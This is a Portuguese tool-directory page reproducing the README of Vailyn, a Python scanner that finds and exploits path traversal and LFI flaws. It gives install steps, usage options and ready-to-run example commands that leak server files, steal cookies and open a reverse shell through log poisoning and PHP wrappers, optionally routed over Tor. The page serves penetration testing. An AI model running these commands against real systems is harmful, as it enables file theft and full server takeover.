Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Vailyn — Uma ferramenta em Python para varredura e exploração evasiva e em fases de Path Traversal + LFI | Kitploit
Ferramentas/GitHubGitHub/vainlystrain/vailyn
Scanners de VulnerabilidadesGeração de PayloadsExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubvainlystrain/vailyn

Vailyn

Uma ferramenta em Python para varredura e exploração evasiva e em fases de Path Traversal + LFI

Ver Repositório
20024há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar


Vailyn


Ataques de Path Traversal e LFI em Fases

Vailyn 3.0

Desde a v3.0, o Vailyn suporta wrappers PHP LFI na Fase 1. Use --lfi para incluí-los na verificação.

Sobre

O Vailyn é uma ferramenta de análise e exploração de vulnerabilidades em múltiplas fases para vulnerabilidades de path traversal e inclusão de arquivos. Ela foi construída para ser a mais performática possível e oferecer um amplo arsenal de técnicas de evasão de filtros.

Como funciona?

O Vailyn opera em 2 fases. Primeiro, ele verifica se a vulnerabilidade está presente. Ele faz isso tentando acessar /etc/passwd (ou um arquivo especificado pelo usuário), com todas as suas cargas de evasão. Analisando a resposta, as cargas que funcionaram são separadas das demais.

Agora, o usuário pode escolher livremente quais cargas usar. Apenas essas cargas serão utilizadas na segunda fase.

A segunda fase é a fase de exploração. Agora, ele tenta vazar todos os arquivos possíveis do servidor usando um dicionário de arquivos e um dicionário de diretórios. A profundidade da busca e o nível de permutação de diretórios podem ser adaptados por argumentos. Opcionalmente, ele pode baixar os arquivos encontrados e salvá-los na pasta de saques. Alternativamente, ele tentará obter um reverse shell no sistema, permitindo que o atacante obtenha controle total sobre o servidor.

Atualmente, ele suporta múltiplos vetores de ataque: injeção via query, caminho, cookie e dados POST.

Por que a separação em fases?

A separação em várias fases é feita para melhorar enormemente o desempenho da ferramenta. Em versões anteriores, cada combinação arquivo-diretório era verificada com cada carga. Isso resultava em uma enorme sobrecarga devido às cargas serem sempre usadas novamente, apesar de não funcionarem para a página atual.

Instalação

As versões recomendadas e testadas do Python são 3.7+, mas deve funcionar bem com Python 3.5 e Python 3.6 também. Para instalar o Vailyn, baixe o arquivo da aba de releases ou execute

root@kitploit:~
$ git clone https://github.com/VainlyStrain/Vailyn

Uma vez no seu sistema, você precisará instalar as dependências do Python.

Sistemas Unix

Em sistemas Unix, basta executar

root@kitploit:~
$ pip install -r requirements.txt   # --user

Windows

Algumas bibliotecas que o Vailyn usa não funcionam bem no Windows ou falharão ao instalar.

Se você usa Windows, use pip para instalar os requisitos listados em Vailyn\·›\requirements-windows.txt.

Se o twisted falhar ao instalar, há uma versão não oficial disponível aqui, que deve compilar no Windows. Apenas lembre-se de que é um download de terceiros e a integridade não é necessariamente garantida. Depois que isso for instalado com sucesso, executar pip novamente em requirements-windows.txt deve funcionar.

Passos Finais

Se você quiser usar totalmente o módulo de reverse shell, precisará ter sshpass, ncat e konsole instalados. Os nomes dos pacotes variam conforme a distribuição Linux. No Windows, você precisará iniciar o listener manualmente antes. Se você não gosta do konsole, pode especificar um emulador de terminal diferente em core/config.py.

É isso! Inicie o Vailyn movendo para o diretório de instalação e executando

root@kitploit:~
$ python Vailyn -h

Uso

O Vailyn tem 3 argumentos obrigatórios: -v VIC, -a INT e -p2 TP P1 P2. No entanto, dependendo de -a, mais argumentos podem ser necessários.

root@kitploit:~
   ,                \                  /               , 
     ':.             \.      /\.     ./            .:'
        ':;.          :\ .,:/   ''. /;        ..::'
           ',':.,.__.'' '          ' `:.__:''.:'
              ';..                        ,;'     *
       *         '.,                   .:'
                    `v;.            ;v'        o
              .      '  '..      :.' '     .
                     '     ':;, '    '
            o                '          .   :        
                                           *
                         | Vailyn |
                      [ VainlyStrain ]
    
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2 
        [-p PAM] [-i F] [-Pi VIC2]
      [-c C] [-n] [-d I J K]
       [-s T] [-t] [-L]
  [-l] [-P] [-A] 

obrigatório:
  -v VIC, --victim VIC  Alvo para atacar, parte 1 [pré-carga]
  -a INT, --attack INT  Tipo de ataque (int, 1-5, ou A)

    A|  Spider (todos)       2|  Caminho               5|  Dados POST, json
    P|  Spider (parcial)     3|  Cookie
    1|  Parâmetro de Query   4|  Dados POST, simples

  -p2 TP P1 P2, --phase2 TP P1 P2
                        Ataque na Fase 2 e parâmetros necessários

┌[ Valores ]─────────────┬────────────────────┐
│ TP      │ P1          │ P2                 │
├─────────┼─────────────┼────────────────────┤
│ leak    │ Dicionário de Arquivos │ Dicionário de Diretórios   │
│ inject  │ Endereço IP │ Porta de Escuta   │
│ implant │ Arquivo Fonte │ Destino no Servidor  │
└─────────┴─────────────┴────────────────────┘

adicionais:
  -p PAM, --param PAM   parâmetro de query ou dados POST para --attack 1, 4, 5
  -i F, --check F       Arquivo a verificar na Fase 1 (padrão: etc/passwd)
  -Pi VIC2, --vic2 VIC2 Alvo do ataque, parte 2 [pós-carga]
  -c C, --cookie C      Cookie para anexar (no formato de cabeçalho)
  -l, --loot            Baixar arquivos encontrados para a pasta de saques
  -d I J K, --depths I J K
                        profundidades (I: fase 1, J: fase 2, K: nível de permutação)
  -h, --help            mostrar este menu de ajuda e sair
  -s T, --timeout T     Timeout de requisição; opção estável para Arjun
  -t, --tor             Canalizar ataques através da rede de anonimato Tor
  -L, --lfi             Usar também wrappers PHP para vazar arquivos
  -n, --nosploit        Pular a Fase 2 (não precisa de -p2 TP P1 P2)
  -P, --precise         Usar profundidade exata na Fase 1 (não um intervalo)
  -A, --app             Iniciar a interface Qt5 do Vailyn

desenvolvimento:
  --debug               Exibir todos os caminhos tentados, mesmo 404s.
  --version             Exibir a versão do programa e sair.
  --notmain             Evitar travamento do notify2 em chamada de subprocesso.

Info:
  para vazar arquivos usando caminhos absolutos: -d 0 0 0
  para obter um shell usando caminhos absolutos: -d 0 X 0

O Vailyn atualmente suporta 5 vetores de ataque e fornece um crawler para automatizá-los todos. O ataque realizado é identificado pelo argumento -a INT.

root@kitploit:~
INT        ataque
----       -------
1          ataque baseado em query  (https://site.com?file=../../../)
2          ataque baseado em caminho   (https://site.com/../../../)
3          ataque baseado em cookie (vai capturar os cookies para você)
4          dados POST simples     (ELEM1=VAL1&ELEM2=../../../)
5          dados POST json      ({"file": "../../../"})
A          spider              buscar + analisar todas as URLs do site usando todos os vetores
P          spider parcial      buscar + analisar todas as URLs do site usando apenas vetores selecionados

Você também deve especificar um alvo para atacar. Isso é feito via -v VIC e -Pi VIC2, onde -v é a parte antes do ponto de injeção e -Pi o restante.

Exemplo: se a URL final deve ficar assim: https://site.com/download.php?file=<ATTACK>&param2=necessaryvalue, você pode especificar -v https://site.com/download.php e -Pi &param2=necessaryvalue (e -p file, já que este é um ataque de query).

Se você quiser incluir wrappers PHP na verificação (como php://filter), use o argumento --lfi. Ao final da Fase 1, você verá um menu de seleção adicional contendo os wrappers que funcionaram. (se houver)

Se o site atacado estiver atrás de uma página de login, você pode fornecer um cookie de autenticação via -c COOKIE. Se você quiser atacar através do Tor, use --tor.

Fase 1

Esta é a fase de análise, onde as cargas funcionais são separadas das demais.

Por padrão, /etc/passwd é procurado. Se o servidor não estiver rodando Linux, você pode especificar um arquivo personalizado com -i NOME_DO_ARQUIVO. Note que você deve incluir subdiretórios em NOME_DO_ARQUIVO. Você pode modificar a profundidade da busca com o primeiro valor de -d (padrão=8). Se você quiser usar caminhos absolutos, defina a primeira profundidade como 0.

Fase 2

Esta é a fase de exploração, onde o Vailyn tentará vazar o máximo de arquivos possível, ou obter um reverse shell usando várias técnicas.

A profundidade da busca na fase 2 (o número máximo de camadas percorridas para trás) é especificada pelo segundo valor do argumento -d. O nível de permutação de subdiretórios é definido pelo terceiro valor de -d.

Se você atacar com caminhos absolutos e realizar o ataque de vazamento, defina todas as profundidades como 0. Se você quiser obter um reverse shell, certifique-se de que a segunda profundidade seja maior que 0.

Ao especificar -l, o Vailyn não apenas exibirá os arquivos no terminal, mas também baixará e salvará os arquivos na pasta de saques.

Se você quiser uma saída detalhada (exibir toda saída, não apenas arquivos encontrados), pode usar --debug. Note que a saída fica muito confusa, basicamente é apenas uma ajuda de depuração.

Para realizar o ataque de força bruta, você precisa especificar -p2 leak FIL CAM, onde

  • FIL é um dicionário contendo apenas nomes de arquivos (ex.: index.php)
  • CAM, é um dicionário contendo apenas nomes de diretórios. O Vailyn cuidará da permutação de diretórios para você, então você precisará apenas de um diretório por linha.

Para obter um reverse shell por injeção de código, você pode usar -p2 inject IP PORTA, onde

  • IP é o seu IP de escuta
  • PORTA é a porta na qual você deseja ouvir.

AVISO

O Vailyn emprega técnicas de Log Poisoning. Portanto, SEU IP ESPECIFICADO FICARÁ VISÍVEL NOS LOGS DO SERVIDOR.

As técnicas (funcionam apenas para inclusões LFI):

  • inclusão de /proc/self/environ funciona apenas em servidores desatualizados
  • Log Poisoning do Apache + Nginx & inclusão
  • Log Poisoning do SSH
  • inclusão de e-mail envenenado
  • wrappers
    • expect://
    • data:// (simples & b64)
    • php://input

Prevenção de falsos positivos

Para distinguir resultados reais de falsos positivos, o Vailyn faz as seguintes verificações:

  • verifica o código de status da resposta
  • verifica se a resposta é idêntica a uma obtida antes do início do ataque: isso é útil, por exemplo, quando o servidor retorna 200, mas ignora a entrada da carga ou retorna uma página padrão se o arquivo não for encontrado.
  • similar ao #2, realiza uma verificação adicional para o tratamento do parâmetro GET de query (útil quando o servidor retorna erro informando que um parâmetro necessário está faltando)
  • verifica respostas vazias
  • verifica se assinaturas de erro comuns estão no conteúdo da resposta
  • verifica se a carga está contida na resposta: esta é uma verificação adicional para o caso em que o servidor responde 200 para arquivos inexistentes e reflete a carga em uma mensagem (como ../../secret não encontrado)
  • verifica se toda a resposta está contida na resposta da verificação inicial: útil quando o servidor tem um include padrão que desaparece em caso de 404
  • para -a 2, realiza uma verificação adicional se o conteúdo da resposta corresponde ao conteúdo da URL raiz do servidor
  • verificação REGEX para /etc/passwd se estiver usando esse arquivo como arquivo de consulta

Exemplos

  • Ataque de Query simples, vazando arquivos na Fase 2: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT

  • Ataque de Query, mas sei que um arquivo file.php existe exatamente 2 níveis acima do ponto de inclusão: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P Isso encurtará bastante a duração da Fase 1, pois é um ataque direcionado.

  • Ataque de Caminho simples: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT

  • Ataque de Caminho, mas preciso de parâmetros de query e tag: $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title

  • Ataque de Cookie simples: $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs Vai buscar os cookies e você pode selecionar o cookie que deseja envenenar

Demonstração

asciicast Crawler do Vailyn analisando uma aplicação web vulnerável. Wrappers LFI não estão habilitados.

Demonstração da GUI (v2.2.1-5)

Possíveis Problemas

Encontrou alguns falsos positivos/negativos (ou quer relatar outros bugs/melhorias): por favor, abra uma issue!

Código de Conduta

O Vailyn é fornecido como uma ferramenta de auditoria ofensiva para aplicações web. Ele possui funcionalidades integradas que podem revelar vulnerabilidades potenciais em aplicações web, que poderiam ser exploradas maliciosamente.

PORTANTO, NEM O AUTOR NEM OS COLABORADORES SÃO RESPONSÁVEIS POR QUALQUER USO INDEVIDO OU DANO DEVIDO A ESTE CONJUNTO DE FERRAMENTAS.

Ao usar este software, o usuário se compromete a seguir as leis locais, a não atacar o sistema de outra pessoa sem permissão explícita do proprietário, ou com intenção maliciosa.

Em caso de infração, apenas o usuário final que a cometeu é responsável por suas ações.

Créditos & Copyright

Vailyn: Copyright © VainlyStrain

Arjun: Copyright © s0md3v

O Arjun não é mais distribuído com o Vailyn. Instale sua versão mais recente via pip.

Baixar ferramenta
  • Ataque POST Simples: $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT" infectará DATA2 com a carga

  • Ataque POST JSON: $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'

  • Ataque, mas o alvo está atrás de tela de login: $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"

  • Ataque, mas quero um reverse shell na porta 1337: $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # uma profundidade alta na Fase 2 é necessária para injeção de log (vai iniciar um listener ncat para você se estiver no Unix)

  • Automação total no modo crawler: $ Vailyn -v "http://root-url.site" -a A você também pode especificar outros argumentos, como cookie, profundidades, lfi e arquivo de consulta aqui

  • Automação total, mas o Arjun precisa de --stable: $ Vailyn -v "http://root-url.site" -a A -s ANY